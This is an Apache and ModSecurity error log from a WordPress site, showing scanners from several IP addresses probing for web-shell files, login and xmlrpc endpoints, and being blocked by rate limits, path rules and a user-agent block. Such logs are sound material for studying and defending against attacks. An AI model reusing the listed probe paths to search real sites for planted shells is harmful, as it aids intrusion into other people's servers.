[Sun Mar 22 19:05:01.254473 2026] [:error] [pid 51363:tid 51443] [client 51.120.72.165:30637] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roter.php"] [unique_id "ab_M3Vwa9x6OCTRkhl2IhAAAAI4"]
[Sun Mar 22 19:05:01.821499 2026] [:error] [pid 51363:tid 51432] [client 51.120.72.165:8663] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "ab_M3Vwa9x6OCTRkhl2IjQAAAIQ"]
[Sun Mar 22 19:05:02.363807 2026] [:error] [pid 30166:tid 30196] [client 51.120.72.165:35855] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "ab_M3rm4_26jKMD0zy3OfwAAAVM"]
[Sun Mar 22 19:05:02.958158 2026] [:error] [pid 51361:tid 51397] [client 51.120.72.165:54099] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "ab_M3hXYUsdvKC9YWpXTuwAAABg"]
[Sun Mar 22 19:05:03.499518 2026] [:error] [pid 30166:tid 30198] [client 51.120.72.165:30639] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "ab_M37m4_26jKMD0zy3OhAAAAVU"]
[Sun Mar 22 19:05:04.053952 2026] [proxy_fcgi:error] [pid 30166:tid 30182] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:04.324281 2026] [proxy_fcgi:error] [pid 30166:tid 30187] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:04.586493 2026] [proxy_fcgi:error] [pid 30166:tid 30200] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:04.863479 2026] [proxy_fcgi:error] [pid 30166:tid 30177] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:05.125596 2026] [proxy_fcgi:error] [pid 30166:tid 30196] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:05.387758 2026] [proxy_fcgi:error] [pid 30166:tid 30185] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:05.649386 2026] [proxy_fcgi:error] [pid 30166:tid 30191] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:05.924880 2026] [proxy_fcgi:error] [pid 30166:tid 30174] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:06.202299 2026] [proxy_fcgi:error] [pid 30166:tid 30176] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:06.465789 2026] [proxy_fcgi:error] [pid 30166:tid 30193] [client 51.120.72.165:37906] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:05:06.724466 2026] [:error] [pid 30166:tid 30170] [client 51.120.72.165:37906] [client 51.120.72.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/app.php"] [unique_id "ab_M4rm4_26jKMD0zy3OnwAAAUA"]
[Sun Mar 22 21:10:43.460985 2026] [proxy_fcgi:error] [pid 40039:tid 40063] [client 20.102.53.32:42901] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 21:10:43.879966 2026] [:error] [pid 40039:tid 40058] [client 20.102.53.32:42901] [client 20.102.53.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.102.53.32, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "ab_qUx3aDgUJfBYishnD7QAAARE"]
[Sun Mar 22 21:10:44.100903 2026] [proxy_fcgi:error] [pid 40039:tid 40042] [client 20.102.53.32:42901] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 21:10:44.958523 2026] [proxy_fcgi:error] [pid 40039:tid 40055] [client 20.102.53.32:42901] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 21:10:45.591902 2026] [proxy_fcgi:error] [pid 40039:tid 40065] [client 20.102.53.32:42901] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 21:10:45.799765 2026] [:error] [pid 40039:tid 40054] [client 20.102.53.32:42901] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ab_qVR3aDgUJfBYishnD_QAAAQ0"]
[Sun Mar 22 21:10:46.624613 2026] [:error] [pid 51362:tid 51414] [client 20.102.53.32:42932] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ab_qVsOwPm3DXzTDjUfWSQAAAE0"]
[Sun Mar 22 21:10:47.453901 2026] [:error] [pid 51362:tid 51400] [client 20.102.53.32:42889] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ab_qV8OwPm3DXzTDjUfWTAAAAEA"]
[Sun Mar 22 21:10:48.293063 2026] [:error] [pid 30166:tid 30189] [client 20.102.53.32:42915] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ab_qWLm4_26jKMD0zy0RCwAAAU4"]
[Sun Mar 22 22:50:40.555783 2026] [:error] [pid 30166:tid 30197] [client 103.171.117.35:52972] [client 103.171.117.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.35, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acABwLm4_26jKMD0zy01gwAAAVQ"]
[Sun Mar 22 22:50:40.566341 2026] [proxy_fcgi:error] [pid 30166:tid 30197] [client 103.171.117.35:52972] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 02:08:29.142997 2026] [:error] [pid 27776:tid 27872] [client 217.216.37.52:60446] [client 217.216.37.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "acAwHY3Eaq7IZ5L-4XVaUQAAARg"]
[Mon Mar 23 02:08:29.334053 2026] [:error] [pid 20574:tid 20611] [client 217.216.37.52:58022] [client 217.216.37.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "acAwHddMXEnEZrwyzJkNPgAAABY"]
[Mon Mar 23 02:08:29.526231 2026] [:error] [pid 20587:tid 20662] [client 217.216.37.52:62636] [client 217.216.37.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "acAwHYByf8r3QAk4VXPyWAAAAJM"]
[Mon Mar 23 04:33:40.591090 2026] [proxy_fcgi:error] [pid 57265:tid 57287] [client 20.220.145.74:14544] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 04:33:41.004681 2026] [:error] [pid 57265:tid 57284] [client 20.220.145.74:14544] [client 20.220.145.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.145.74, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acBSJWNLjPJJkhuqCsiMwAAAARE"]
[Mon Mar 23 04:33:41.219757 2026] [proxy_fcgi:error] [pid 57265:tid 57274] [client 20.220.145.74:14544] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 04:33:42.058667 2026] [proxy_fcgi:error] [pid 57265:tid 57282] [client 20.220.145.74:14544] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 04:33:42.688371 2026] [proxy_fcgi:error] [pid 57265:tid 57269] [client 20.220.145.74:14544] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 04:33:42.893773 2026] [:error] [pid 57265:tid 57275] [client 20.220.145.74:14544] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acBSJmNLjPJJkhuqCsiMzwAAAQg"]
[Mon Mar 23 04:33:43.720694 2026] [:error] [pid 57265:tid 57274] [client 20.220.145.74:14545] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acBSJ2NLjPJJkhuqCsiM0QAAAQc"]
[Mon Mar 23 04:33:44.546499 2026] [:error] [pid 23539:tid 23565] [client 20.220.145.74:14558] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acBSKH7Dh3qWGSpIAZUk7wAAANE"]
[Mon Mar 23 04:33:45.387293 2026] [:error] [pid 23441:tid 23508] [client 20.220.145.74:14589] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acBSKRq7S-oOqSXZEr4_rwAAAIU"]
[Mon Mar 23 08:21:54.177979 2026] [:error] [pid 23440:tid 23494] [client 157.35.98.187:55023] [client 157.35.98.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.35.98.187, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acCHoj49_8n8h_ttcUrh0gAAAFI"]
[Mon Mar 23 08:21:54.188792 2026] [proxy_fcgi:error] [pid 23440:tid 23494] [client 157.35.98.187:55023] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 16:57:48.617988 2026] [proxy_fcgi:error] [pid 23539:tid 23548] [client 20.63.98.227:61950] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 16:57:49.044917 2026] [:error] [pid 23539:tid 23572] [client 20.63.98.227:61950] [client 20.63.98.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.98.227, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acEAjX7Dh3qWGSpIAZUIAAAAANg"]
[Mon Mar 23 16:57:49.264685 2026] [proxy_fcgi:error] [pid 23539:tid 23560] [client 20.63.98.227:61950] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 16:57:50.124831 2026] [proxy_fcgi:error] [pid 23539:tid 23552] [client 20.63.98.227:61950] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 16:57:50.771718 2026] [proxy_fcgi:error] [pid 23539:tid 23555] [client 20.63.98.227:61950] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 16:57:50.983674 2026] [:error] [pid 23539:tid 23561] [client 20.63.98.227:61950] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEAjn7Dh3qWGSpIAZUICwAAAM0"]
[Mon Mar 23 16:57:51.813556 2026] [:error] [pid 57265:tid 57283] [client 20.63.98.227:64947] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEAj2NLjPJJkhuqCsgD-AAAARA"]
[Mon Mar 23 16:57:52.641392 2026] [:error] [pid 57265:tid 57278] [client 20.63.98.227:61946] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEAkGNLjPJJkhuqCsgEAAAAAQs"]
[Mon Mar 23 16:57:53.521858 2026] [:error] [pid 57265:tid 57267] [client 20.63.98.227:64918] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEAkWNLjPJJkhuqCsgEBAAAAQA"]
[Mon Mar 23 18:25:17.668515 2026] [:error] [pid 23440:tid 23479] [client 34.86.66.219:54237] [client 34.86.66.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.66.219, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acEVDT49_8n8h_ttcUozcwAAAEM"]
[Mon Mar 23 18:25:17.681157 2026] [proxy_fcgi:error] [pid 23440:tid 23479] [client 34.86.66.219:54237] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 18:25:20.087698 2026] [:error] [pid 23440:tid 23496] [client 34.86.66.219:54237] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "acEVED49_8n8h_ttcUozgAAAAFQ"]
[Mon Mar 23 18:25:20.527859 2026] [:error] [pid 14573:tid 14576] [client 34.86.66.219:50784] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "acEVEO-oSmHn3q4_J1HF6gAAAUE"]
[Mon Mar 23 18:25:20.973332 2026] [:error] [pid 23439:tid 23471] [client 34.86.66.219:52910] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "acEVEKZv8XIzUKdgaMeQ5wAAABY"]
[Mon Mar 23 18:25:21.424384 2026] [:error] [pid 35165:tid 35169] [client 34.86.66.219:53113] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "acEVEc6udpN6Esk7JKu35wAAAYE"]
[Mon Mar 23 18:25:21.855008 2026] [:error] [pid 14573:tid 14588] [client 34.86.66.219:57790] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "acEVEe-oSmHn3q4_J1HF7wAAAU0"]
[Mon Mar 23 18:25:22.295284 2026] [:error] [pid 14573:tid 14584] [client 34.86.66.219:52334] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "acEVEu-oSmHn3q4_J1HF8AAAAUk"]
[Mon Mar 23 18:25:22.760188 2026] [:error] [pid 14573:tid 14586] [client 34.86.66.219:57763] [client 34.86.66.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "acEVEu-oSmHn3q4_J1HF8QAAAUs"]
[Mon Mar 23 20:07:11.361702 2026] [:error] [pid 35165:tid 35171] [client 34.171.156.87:55655] [client 34.171.156.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.171.156.87, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acEs786udpN6Esk7JKvX3AAAAYM"]
[Mon Mar 23 20:07:11.374343 2026] [proxy_fcgi:error] [pid 35165:tid 35171] [client 34.171.156.87:55655] AH01071: Got error 'Primary script unknown'
[Mon Mar 23 20:07:13.779380 2026] [:error] [pid 35165:tid 35168] [client 34.171.156.87:55655] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "acEs8c6udpN6Esk7JKvX6wAAAYA"]
[Mon Mar 23 20:07:14.175785 2026] [:error] [pid 57265:tid 57279] [client 34.171.156.87:60362] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "acEs8mNLjPJJkhuqCsh52AAAAQw"]
[Mon Mar 23 20:07:14.604018 2026] [:error] [pid 14573:tid 14575] [client 34.171.156.87:64456] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "acEs8u-oSmHn3q4_J1Hx1AAAAUA"]
[Mon Mar 23 20:07:15.001372 2026] [:error] [pid 23440:tid 23487] [client 34.171.156.87:56558] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "acEs8z49_8n8h_ttcUpCCwAAAEs"]
[Mon Mar 23 20:07:15.403149 2026] [:error] [pid 57265:tid 57278] [client 34.171.156.87:54863] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "acEs82NLjPJJkhuqCsh54gAAAQs"]
[Mon Mar 23 20:07:15.800543 2026] [:error] [pid 57265:tid 57286] [client 34.171.156.87:60704] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "acEs82NLjPJJkhuqCsh55AAAARM"]
[Mon Mar 23 20:07:16.242454 2026] [:error] [pid 57265:tid 57269] [client 34.171.156.87:57860] [client 34.171.156.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "acEs9GNLjPJJkhuqCsh56QAAAQI"]
[Tue Mar 24 00:04:13.934351 2026] [:error] [pid 38176:tid 38188] [client 37.40.238.69:37602] [client 37.40.238.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.40.238.69, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acFkfUtG4qlh1gvNjuJwVwAAAAE"]
[Tue Mar 24 00:04:13.949367 2026] [proxy_fcgi:error] [pid 38176:tid 38188] [client 37.40.238.69:37602] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 01:48:13.809354 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.72:33501] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "acF83XapFgYp0uZ8twAsaAAAAFE"]
[Tue Mar 24 01:48:13.989931 2026] [:error] [pid 56435:tid 56511] [client 194.5.82.57:24707] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/core.php"] [unique_id "acF83crwr-l5A-s9ryCP3AAAAQs"]
[Tue Mar 24 01:48:14.169977 2026] [:error] [pid 56435:tid 56518] [client 194.5.82.97:40919] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/users.php"] [unique_id "acF83srwr-l5A-s9ryCP3QAAARE"]
[Tue Mar 24 01:48:14.351672 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.91:48105] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-activate.php"] [unique_id "acF83srwr-l5A-s9ryCP4AAAAQQ"]
